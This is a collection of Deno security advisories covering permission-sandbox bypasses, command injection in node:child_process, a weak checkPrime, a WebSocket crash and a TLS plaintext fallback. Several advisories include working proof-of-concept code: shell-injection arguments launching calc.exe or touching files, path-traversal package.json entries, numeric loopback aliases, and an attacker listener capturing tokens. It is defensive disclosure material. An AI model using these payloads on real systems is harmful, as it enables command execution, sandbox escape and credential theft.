Deno versions 2.7.0 through 2.9.7 on Windows contain a command injection vulnerability in node:childprocess where shell arguments are escaped for the wrong shell type. Attackers can inject OS commands by passing untrusted arguments with the shell option, allowing arbitrary command execution with Deno process privileges.
Summary
A Deno program that opens a client WebSocket connection could be crashed by the remote server. While handling the WebSocket handshake response, Deno parsed the Sec-WebSocket-Protocol and Sec-WebSocket-Extensions response headers in a way that assumed their bytes were always printable ASCII. A response header containing non-visible-ASCII bytes (0x80-0xFF) caused a panic that aborted the entire Deno process.
Details
When establishing a client WebSocket connection, Deno read the Sec-WebSocket-Protocol and Sec-WebSocket-Extensions headers from the server's 101 Switching Protocols response and converted them to strings without handling the failure case. HeaderValue::tostr() returns an error for any value containing bytes outside the visible-ASCII range, so a header carrying such bytes triggered an unrecoverable error during conversion.
Because the client initiates the outbound connection, the handshake response is fully controlled by the server. A server that returns bytes such as 0xFF 0xFE in either header could therefore crash any client that connected to it.
This is purely an availability issue. There is no information disclosure and no memory-safety impact; the only effect is termination of the current process.
Impact
Remote denial of service. Any Deno application that establishes WebSocket connections to untrusted or potentially-compromised endpoints could be terminated by the remote peer. Exploitation requires the victim application to initiate the outbound WebSocket connection. An attacker who controls the WebSocket endpoint, or who can man-in-the-middle a plaintext ws:// connection, could trigger the crash. The effect is confined to crashing the process that opened the connection.
Patch
The issue is fixed in Deno 2.7.5. The header values are now parsed with graceful fallbacks: values that cannot be represented as ASCII strings are skipped instead of aborting the process. A regression test covers a server that returns non-ASCII bytes in Sec-WebSocket-Protocol.
Users should upgrade to Deno 2.7.5 or later.
Workarounds
Until you can upgrade, only connect to trusted WebSocket endpoints and prefer wss:// (TLS) over ws://, which prevents a network man-in-the-middle from injecting malicious header bytes into the handshake response.
Summary
Deno's permission system enforces filesystem and execution restrictions by comparing the requested path against the path supplied to --deny-read, --deny-write, --deny-run, or --deny-ffi. On macOS, that comparison was done at the raw-byte level while the APFS filesystem treats different Unicode spellings of the same name as the same file.
That means a program could reach a denied path by spelling it differently than the deny rule. For example, with --deny-read=/secrets/passwörter.txt, a script could still read the file by opening /secrets/passwo\u0308rter.txt (NFD instead of NFC), or /SECRETS/PASSWÖRTER.txt (different case, since default APFS volumes are case-insensitive). Other forms include ligature characters (fi vs fi, ff vs ff, …) and German ß vs ss.
The denied path and the requested path differed at the byte level, so Deno's permission check passed; the kernel then resolved them to the same inode and served the file anyway. The same flaw affected --deny-write, --deny-run, and --deny-ffi, which share the same path-comparison code.
Am I affected?
You are potentially affected if all of the following are true:
1. You run Deno on macOS (the issue is specific to APFS path-equivalence rules; Linux and Windows are not affected by this variant). 2. You rely on --deny-read, --deny-write, --deny-run, or --deny-ffi as a security boundary against less-trusted code — a dependency, plugin, or attacker-controlled input. 3. The protected path contains characters that have alternate Unicode spellings — most commonly accented characters (é, ñ, ö, …), German ß, or Latin ligatures — or you rely on case-sensitivity on a default APFS volume.
If you only run fully trusted code, or your deny rules cover paths that are pure ASCII with no case-sensitive aliases, you are not exposed to this specific bypass.
Impact
A program running with broad --allow-read (or --allow-write / --allow-run / --allow-ffi) but with --deny- carve-outs for specific paths could read, write, execute, or load via FFI those denied paths by referring to them through a Unicode- or case-equivalent spelling. The sandbox model on macOS was weaker than the flags suggested.
Workaround
If you cannot upgrade immediately:
- Prefer --allow- allowlists over --deny- denylists. Allow rules match against the original specifier, so an attacker-supplied alternate spelling will not match a path you didn't explicitly grant. - Do not rely on case-sensitivity of paths on macOS for security boundaries; default APFS volumes are case-insensitive.
Fix
On macOS, Deno now normalizes both the deny-rule path and the requested path to NFC and applies Unicode case folding before comparing them. This matches how APFS resolves paths at the inode level, so byte-different but equivalent spellings are now rejected by the same deny rule.
Summary
When Deno was run in BYONM mode (nodeModulesDir: "manual"), the module resolver did not validate that a package's resolved entrypoint stayed within its nodemodules/<pkg>/ directory. A malicious package.json whose main field contained .. segments was able to resolve to an arbitrary path on disk, and the resolver then read that file without consulting the --allow-read allowlist. This let a require("evil-pkg") call return the contents of a file that a direct Deno.readTextFileSync(...) call would have been blocked from reading.
Details
In BYONM mode, Deno resolved npm packages directly from a user-managed nodemodules tree. Resolution of require("pkg") proceeded by reading pkg/package.json, taking the main field, joining it to the package directory, and loading the result as a module.
The path joined from main was not constrained to the package root. A package.json such as:
json { "main": "../../../secret.json" }
resolved to nodemodules/pkg/../../../secret.json, escaping nodemodules entirely. The BYONM permission check accepted any path that contained a nodemodules component and did not reject .. traversal, so the resolved path was loaded without a read-permission check.
Because resolution loaded JSON entrypoints by parsing their contents and returning them through require, this exposed the contents of arbitrary .json files reachable by the OS user to the requiring code, even when --allow-read had been narrowed to a specific directory.
The same file accessed via Deno.readTextFileSync was correctly blocked. The bug was that module resolution did not enforce the same read-permission boundary that the filesystem APIs enforced.
Proof of concept
The reporter supplied a self-contained PoC. Layout:
/tmp/denobyonmpoc/ ├── app/ │ ├── deno.json (BYONM enabled) │ ├── exploit.ts (require("evil-pkg")) │ └── nodemodules/ │ └── evil-pkg/ │ └── package.json (main: "../../../secret.json") └── secret.json (outside --allow-read scope)
Run:
bash deno run --no-prompt --allow-read=/tmp/denobyonmpoc/app exploit.ts
Observed:
- Deno.readTextFileSync("/tmp/denobyonmpoc/secret.json") — blocked, as expected. - require("evil-pkg") — returned the parsed contents of secret.json, bypassing the read allowlist.
A control run with BYONM disabled (--no-config) blocked the require call.
Impact
The vulnerability allowed a hostile npm package installed under a BYONM nodemodules to read JSON files outside the directories granted via --allow-read, up to the privileges of the OS user running Deno. In practice this exposed configuration and credential files (.env.json, cloud credentials, package lockfiles, etc.) that the user had deliberately excluded from the read scope.
The vulnerability did not grant any capability beyond what the OS user already held, did not affect runs that granted unrestricted --allow-read, and required the user to have installed and then required a hostile package, i.e. an existing supply-chain compromise. The reason it warranted a security advisory rather than a routine bug fix is that Deno's permission model promised that --allow-read=<scope> was a hard boundary even over untrusted npm code, and that promise was broken.
Not affected:
- Runs without BYONM (default npm resolution went through a separate code path that rejected the traversal). - Runs with full --allow-read (no boundary to bypass). - Non-JSON entrypoints, in practice — .js/.cjs/.mjs targets executed rather than exposing file contents, which already implied attacker code execution within the granted permission set.
Workarounds
Users on unpatched versions could mitigate by:
- Avoiding BYONM mode (nodeModulesDir: "manual") for projects that depended on untrusted packages. - Auditing package.json main fields in nodemodules for .. segments before running. - Granting --allow-read only when the read scope already covered every file the OS user could see (in which case there was no boundary to bypass and no additional exposure).
Summary
Deno's network permission model is designed so that --deny-net rules apply to the resolved IP address of a destination, not just the literal string supplied by the caller. That means --deny-net=127.0.0.1 (or --deny-net=127.0.0.0/8) is expected to block any attempt to reach loopback, regardless of how the hostname is spelled.
On affected versions, the Node.js compatibility TCP path checked the permission against the original hostname string before resolution and then did not re-check after resolution. A caller could therefore pass a numeric alias of an IP address (for example the decimal integer 2130706433 or the hex form 0x7f000001, both of which resolve to 127.0.0.1) and reach the denied destination through node:net.connect or node:http.request's { host, port } options form.
The native Deno.connect(), fetch(), and URL-string variants of node:http.request("http://...") were not affected, because they either re-checked permissions after resolution or normalized the hostname through the URL parser before checking.
Proof of concept
Run on Deno 2.7.14, with a local TCP listener on 127.0.0.1:<PORT>:
js import net from "node:net";
// --allow-net + --deny-net=127.0.0.0/8 // (or even --deny-net=127.0.0.1:<PORT>) net.connect({ host: "2130706433", port: PORT }); // CONNECTED ❌ net.connect({ host: "0x7f000001", port: PORT }); // CONNECTED ❌ net.connect({ host: "127.0.0.1", port: PORT }); // denied ✅
The same primitive reached the loopback HTTP listener through node:http when the destination was passed as options rather than as a URL string:
js import http from "node:http";
// options-form host — bypasses the deny rule on affected versions http.request({ hostname: "2130706433", port: PORT, path: "/" }).end();
// URL-string form — correctly denied (URL parser normalizes the host) http.request(http://2130706433:${PORT}/).end();
The server-side log showed the bypassed requests arriving from 127.0.0.1 with the numeric alias preserved in the Host header.
Impact
A program that intentionally allows broad outbound network access but uses --deny-net to carve out protected destinations, typically loopback, private/internal ranges, or cloud-instance metadata IPs, could be made to reach those denied destinations from less-trusted code (a dependency, plugin, or attacker-controlled input) that funnels through node:net.connect({ host }) or node:http.request({ hostname }).
The CVSS vector reflects this as a local-attack-vector, permissions-required confidentiality impact: the attacker needs to be able to run code inside the Deno process, and the demonstrated primitive is "reach an explicitly denied IP." It does not by itself exfiltrate data or execute code; the further impact depends on what the now-reachable endpoint exposes.
The confirmed scope is IPv4 numeric hostname aliases reaching a denied resolved IP through the Node TCPWrap / options-host path. URL strings, node:http2, undici, and IPv6 numeric/mapped-address variants were not exhaustively tested by the reporter.
Not affected
- Programs that do not use --deny-net at all (the bug is specifically about deny rules being bypassed; allow rules were always checked against the original string). - Native Deno networking APIs (Deno.connect, Deno.connectTls, fetch, ...), these already re-checked permissions after resolution as of PR #33203. - URL-string callers such as fetch("http://2130706433/") or node:http.request("http://2130706433/"), the URL parser normalized the hostname to its dotted-quad form before the permission check ran. - Calls that do not provide host/hostname (e.g. connecting by IP literal or by a name that the deny rule already matches verbatim).
Workarounds
If you cannot upgrade immediately, reduce exposure by:
- Preferring an --allow-net allowlist over a --deny-net denylist. An allowlist denies numeric aliases by default because they don't match the listed hostnames; only the destinations you've explicitly permitted can be reached. - Validating untrusted host input before passing it to node:net.connect / node:http.request. Reject hostnames that are purely decimal integers (/^\d+$/) or begin with 0x, as these are the alias forms exploited by the bypass. - Avoiding the Node options-host path for sensitive calls in favour of URL-string forms, which are normalized by the URL parser before the permission check.
Summary
node:crypto.checkPrime(candidate[, options][, callback]) and crypto.checkPrimeSync(candidate[, options]) ran no Miller-Rabin rounds at all when the caller left options.checks at its default of 0. In that mode, the only test applied to the candidate was trial division by the primes up to 17,863. Any composite whose smallest prime factor exceeds that bound — for example the product of two primes just above it, such as 17,881 × 17,891 — was reported as true ("probably prime").
The same divergence affected the lower-level opnodecheckprime / opnodecheckprimebytes paths that the polyfill calls into.
Node.js itself does not have this problem: it forwards checks = 0 to OpenSSL's BNcheckprime, which substitutes a sensible default number of rounds based on the candidate's bit length (per FIPS 186-4 Appendix C.3 Table C.1). Deno's Rust implementation had no equivalent fallback, so count = 0 meant "skip the loop entirely."
Affected APIs
- crypto.checkPrime(candidate) (callback form, default options) - crypto.checkPrime(candidate, { checks: 0 }, callback) - crypto.checkPrimeSync(candidate) (default options) - crypto.checkPrimeSync(candidate, { checks: 0 })
Callers who explicitly passed checks >= 1 were less affected, the loop ran the number of rounds they asked for, but were still receiving fewer rounds than Node would have applied for the same bit length. With the patched version they get at least the FIPS minimum.
Not affected
- Deno's prime generation (crypto.generatePrime, crypto.generatePrimeSync, and the DH parameter generation path). Those routes go through Prime::generatewithoptions in ext/nodecrypto/primes.rs, which hardcodes 20 Miller-Rabin rounds and never reads a user-controlled checks value, so the bug never reached them. - Any other Deno-internal use of primality testing — isprobablyprime is not called from elsewhere in the runtime with count = 0. - Web Crypto (crypto.subtle.), which uses entirely separate code paths and does not expose a primality test.
Impact
The realistic exposure is application-level: a Deno program that calls crypto.checkPrime (or its sync variant) with default options to validate an externally-supplied bignum, for example checking a peer-provided Diffie-Hellman prime, validating a prime read from configuration, or sanity-checking an RSA factor, will accept crafted composites as prime. The composite is trivial to construct: any product of two primes greater than 17,863 works.
Downstream consequences depend on what the program does with the "verified" prime. If the prime is fed into a key exchange, signature verification, or factorization-style check, the security guarantees of that protocol collapse to whatever the attacker engineered into the composite.
The CVSS impact is bounded by the requirement that the victim application both (a) calls checkPrime with default options and (b) acts on the result for security-relevant input it does not control.
Reproduction
ts import { checkPrimeSync } from "node:crypto";
// 17881 and 17891 are both prime and both above the trial-division // ceiling used by Deno's implementation. const composite = 17881n 17891n;
// Affected versions print true; the patched version prints false. console.log(checkPrimeSync(composite));
The same result is reproducible from Rust against the internal helper:
rust use numbigint::BigInt; let composite = BigInt::from(17881u32) BigInt::from(17891u32); assert!(!isprobablyprime(&composite, 0)); // fails on affected versions
Fix
PR #34391 introduces a helper minmillerrabinroundsforbits(bits) that returns the FIPS 186-4 Appendix C.3 round counts, matching the defaults OpenSSL uses inside BNcheckprime. isprobablyprime then clamps the loop bound to count.max(minmillerrabinroundsforbits(n.bits())). The probabilistic loop now always executes, regardless of what checks value the caller supplied, with a round count strong enough to keep the false-positive probability below 2^-80. Callers that pass a larger explicit checks still get exactly that many rounds.
Unit tests under ext/nodecrypto/primes.rs cover the 17,881 × 17,891 case, a larger 64-bit composite, and the FIPS lookup table itself.
Workarounds
If you cannot upgrade immediately:
- Pass an explicit checks value when calling crypto.checkPrime or crypto.checkPrimeSync. A value of 64 is conservative for any reasonable bit length and keeps the loop running. - Do not rely on crypto.checkPrime to validate attacker-influenced bignums in security-critical paths until you are on the patched release.
Summary
Deno's node:childprocess implementation provided an escapeShellArg() helper used when callers passed shell: true to spawn / spawnSync / exec and friends. On Windows, the helper failed to quote arguments that contained cmd.exe metacharacters such as &, |, <, >, ^, !, (, ), and did not neutralize % (which cmd.exe expands even inside double-quoted strings). An attacker who controlled any portion of an argument passed to such a call could inject arbitrary additional commands into the spawned cmd.exe invocation.
This was the Windows counterpart to CVE-2026-27190, which fixed the same class of bug in the Unix branch of escapeShellArg.
Details
On Windows, childprocess with shell: true ran the command via cmd.exe /d /s /c "<command line>". Deno assembled that command line by joining the program name and each argument through escapeShellArg().
The vulnerable check was:
ts // If no special characters, return as-is if (!/[\s"\\]/.test(arg)) { return arg; }
The regex covered only whitespace, double-quote, and backslash. Any argument containing cmd.exe-significant characters but none of those three was returned unquoted and therefore interpreted by the shell. The most straightforward exploit chained commands with &:
js import { spawnSync } from "node:childprocess";
spawnSync("echo", ["test&calc.exe"], { shell: true, encoding: "utf-8" });
The reporter confirmed this launched calc.exe on Windows 11 with Deno 2.7.5. The same shape worked for |, <, >, ^, !, (, and ).
A secondary defect existed even when arguments were quoted: cmd.exe expands %FOO% environment-variable references inside double-quoted strings. Without either doubling % or rejecting it, an argument like "%USERPROFILE%" leaked environment data into the command line.
Proof of concept
From the report, run on Windows with Deno < 2.7.10:
js import { spawnSync } from "node:childprocess";
const maliciousInput = "test&calc.exe"; const result = spawnSync("echo", [maliciousInput], { shell: true, encoding: "utf-8", }); console.log(result);
Observed: calc.exe launched as a side effect of the echo call.
Impact
Any Deno program on Windows that called childprocess.spawn / spawnSync / exec (or any shell helper that funneled through escapeShellArg) with shell: true and incorporated untrusted input into an argument was exposed to arbitrary command execution in the context of the Deno process. The CVSS vector treated this as network-reachable / high-complexity because the typical exposure path was a Deno service accepting external input and forwarding it to a shelled-out subprocess.
Not affected:
- Calls without shell: true (the default), which executed the program directly via CreateProcess without cmd.exe interpretation. - Unix platforms, which used the single-quote branch of escapeShellArg and were already fixed under CVE-2026-27190. - Callers that built command strings themselves and passed them as a single string with shell: true — those were the caller's responsibility and were never sanitized by Deno.
Workarounds
Users on unpatched versions could mitigate by:
- Avoiding shell: true in node:childprocess calls on Windows. - Building the argv directly and invoking the program without a shell. - Filtering or rejecting any externally-supplied argument values that contained cmd.exe metacharacters (& | < > ^ ! ( ) %) before passing them to spawn / spawnSync / exec.
Summary
In Deno, environment access is gated by the env permission. You can deny it with --deny-env, or restrict it to a specific allowlist with --allow-env=FOO,BAR. The expectation is that a program running without env permission cannot change process.env.
process.loadEnvFile() (the Node-compatible API for loading variables from a .env file) does not honor this. It only checks that the program has read permission for the dotenv file, then writes every key in that file into the process environment — even when env access is denied.
In effect, --allow-read plus a writable or attacker-controlled .env file is enough to defeat --deny-env.
Am I affected?
You are potentially affected if all of the following are true:
1. You run Deno v2.3.0 or newer. 2. Your program (or any dependency it imports) calls process.loadEnvFile() from node:process. 3. You rely on Deno's permission model — specifically --deny-env, an --allow-env=… allowlist, or running without granting env — as a security boundary. 4. The .env path passed to loadEnvFile() can be controlled or modified by a less-trusted party (untrusted input, user-writable directory, third-party dependency, etc.) and is covered by your --allow-read grant.
If your program does not use process.loadEnvFile() at all, or if it already grants full env access, this advisory does not change your risk.
Summary
When a WebSocket connection was opened, Deno checked the destination hostname against --deny-net rules but did not re-check the IP addresses that hostname resolved to. An attacker-controlled script could use a specially crafted domain name that passes the hostname check yet resolves to a denied IP, bypassing the network restriction entirely.
Impact
Code running under --deny-net could connect to hosts that the user intended to block. In practice this means network isolation rules — for example, blocking access to localhost or internal services — could be silently circumvented by a malicious or compromised dependency.
Deno.connect and fetch() were not affected by this specific issue (a companion advisory covers fetch()).
Who is affected
Users who:
- run untrusted or third-party code with deno run, and - rely on --deny-net to restrict which hosts that code can reach.
If you do not use --deny-net, or if you only run fully trusted code, you are not affected.
Workaround
No workaround is available short of upgrading. If upgrading immediately is not possible, avoid granting --allow-net to untrusted code that also has --deny-net restrictions you depend on for security.
Summary
When fetch() was called, Deno checked the destination hostname against --deny-net rules but did not re-check the IP addresses that hostname resolved to. An attacker-controlled script could use a specially crafted domain name that passes the hostname check yet resolves to a denied IP, bypassing the network restriction entirely.
Impact
Code running under --deny-net could reach hosts that the user intended to block. In practice this means network isolation rules — for example, blocking access to localhost or internal services — could be silently circumvented by a malicious or compromised dependency.
A companion advisory covers the same class of issue in the WebSocket API.
Who is affected
Users who:
- run untrusted or third-party code with deno run, and - rely on --deny-net to restrict which hosts that code can reach.
If you do not use --deny-net, or if you only run fully trusted code, you are not affected.
Workaround
No workaround is available short of upgrading. If upgrading immediately is not possible, avoid granting --allow-net to untrusted code that also has --deny-net restrictions you depend on for security.
Fix
The fetch() DNS resolver now performs a post-resolution check on every IP address before passing it to the HTTP connector, consistent with how Deno.connect already behaved.
Summary
A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.
As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.
A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.
Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.
Proof of concept
attacker.mjs (captures whatever the client sends)
ts import net from "node:net";
const server = net.createServer((socket) => { console.log("[attacker] client connected from", socket.remoteAddress); socket.on("data", (chunk) => { // If TLS were working, this would be an opaque ClientHello. // If the bug fires, we see the application payload in cleartext. console.log("[attacker] received", chunk.length, "bytes:"); console.log(chunk.toString("utf8")); }); });
server.listen(4444, "127.0.0.1", () => { console.log("[attacker] listening on 127.0.0.1:4444"); });
victim.mjs (a normal-looking TLS client)
ts import tls from "node:tls";
const socket = tls.connect({ host: "api.example.invalid", port: 4444, autoSelectFamily: true, // Node-compat default
// First address is a black hole (nothing on [::1]:4444), // so autoSelectFamily falls back to the second address. // In a real attack, the on-path attacker arranges this via // routing, DNS, or by dropping the first SYN. lookup: (host, opts, cb) => { cb(null, [ { address: "::1", family: 6 }, // fails -> retry { address: "127.0.0.1", family: 4 }, // attacker ]); },
rejectUnauthorized: false, });
// Application writes BEFORE secureConnect — common pattern in // Node clients that pipe a request body or send a greeting. socket.write("POST /v1/charge HTTP/1.1\r\n"); socket.write("Authorization: Bearer skliveSECRETTOKEN\r\n"); socket.write("Content-Type: application/json\r\n\r\n"); socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));
socket.on("secureConnect", () => console.log("[victim] secureConnect")); socket.on("error", (e) => console.log("[victim] error:", e.message));
In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs
Expected vs. observed
On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.
On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:
[attacker] received 41 bytes: POST /v1/charge HTTP/1.1 Authorization: Bearer skliveSECRETTOKEN ...
The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.
Summary
A command injection vulnerability exists in Deno's node:childprocess polyfill (shell: true mode) that bypasses the fix for CVE-2026-27190 (GHSA-hmh4-3xvx-q5hr). An attacker who controls arguments passed to spawnSync or spawn with shell: true can execute arbitrary OS commands, bypassing Deno's permission system.
Affected versions: Deno v2.7.0, v2.7.1
## Details
The two-stage argument sanitization in transformDenoShellCommand (ext/node/polyfills/internal/childprocess.ts) has a priority bug: when an argument contains a $VAR pattern, it is wrapped in double quotes (L1290) instead of single quotes (L1293). Double quotes in POSIX sh do not suppress backtick command substitution, allowing injected commands to execute.
Attack chain: 1. escapeShellArg wraps the argument in single quotes (safe) 2. opnodeparseshellargs strips the single-quote delimiters during tokenization (raw argument exposed) 3. Re-quoting detects $VAR pattern → applies double quotes 4. Backtick payload inside double quotes executes via /bin/sh
## Impact
OS Command Injection (CWE-78). Any application using node:childprocess spawn/spawnSync with shell: true and user-controlled arguments is vulnerable. Injected commands execute at the OS process level, outside Deno's permission sandbox. Only --allow-run is required.
## Mitigation
Avoid passing user-controlled input as arguments to spawn/spawnSync with shell: true. Use shell: false (the default) instead, or validate/sanitize inputs before passing them.
Summary A command injection vulnerability exists in Deno's node:childprocess implementation.
Reproduction javascript import { spawnSync } from "node:childprocess"; import as fs from "node:fs";
// Cleanup try { fs.unlinkSync('/tmp/rceproof'); } catch {}
// Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection const maliciousInput = /tmp/legitimate.ts\ntouch /tmp/rceproof;
// Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' });
// Verify console.log('Exploit worked:', fs.existsSync('/tmp/rceproof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rceproof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
Summary A prior patch aimed to block spawning Windows batch/shell files by returning an error when a spawned path’s extension matched .bat or .cmd. That check performs a case-sensitive comparison against lowercase literals and therefore can be bypassed when the extension uses alternate casing (for example .BAT, .Bat, etc.).
POC javascript const command = new Deno.Command('./test.BAT', { args: ['&calc.exe'], }); const child = command.spawn(); This causes calc.exe to be launched; see the attached screenshot for evidence.
Patched in CVE-2025-61787 — prevents execution of .bat and .cmd files: !photo2025-10-10 02 27 23
Bypass of the patched vulnerability: !photo2025-10-10 02 27 25
Impact The script launches calc.exe on Windows, demonstrating that passing user-controlled arguments to a spawned batch script can result in command-line injection.
Mitigation
Users should update to Deno v2.5.6 or newer.
Summary
The vulnerability allows an attacker to have infinite encryptions.
This can lead to naive attempts at brute forcing, as well as more refined attacks with the goal to learn the server secrets.
PoC js import crypto from "node:crypto";
const key = crypto.randomBytes(32); const iv = crypto.randomBytes(16); const cipher = crypto.createCipheriv("aes-256-cbc", key, iv); cipher.final()
console.log(cipher);
Expected Output js Cipheriv { decoder: null, options: undefined, Symbol(kHandle): CipherBase {} }
Actual Output js Cipheriv { events: { close: undefined, error: undefined, prefinish: [Function: prefinish], finish: undefined, drain: undefined, data: undefined, end: undefined, readable: undefined }, readableState: ReadableState { highWaterMark: 65536, buffer: [], bufferIndex: 0, length: 0, pipes: [], awaitDrainWriters: null, [Symbol(kState)]: 1048844 }, writableState: WritableState { highWaterMark: 65536, length: 0, corked: 0, onwrite: [Function: bound onwrite], writelen: 0, bufferedIndex: 0, pendingcb: 0, [Symbol(kState)]: 17580812, [Symbol(kBufferedValue)]: null }, allowHalfOpen: true, final: [Function: final], maxListeners: undefined, transform: [Function: transform], eventsCount: 1, [Symbol(kCapture)]: false, [Symbol(kCallback)]: null }
Mitigations
All users should upgrade to Deno v2.6.0 or newer.
Impact
Outbound HTTP requests made using the built-in "node:http" or "node:https" modules are incorrectly not checked against the network permission allow list (--allow-net). Dependencies relying on these built-in modules are subject to the vulnerability too.
Users of Deno versions prior to 1.34.0 are unaffected. Deno Deploy users are unaffected.
Patches
This problem has been patched in Deno v1.34.1 and all users are recommended to update to this version.
Workarounds
No workaround is available for this issue.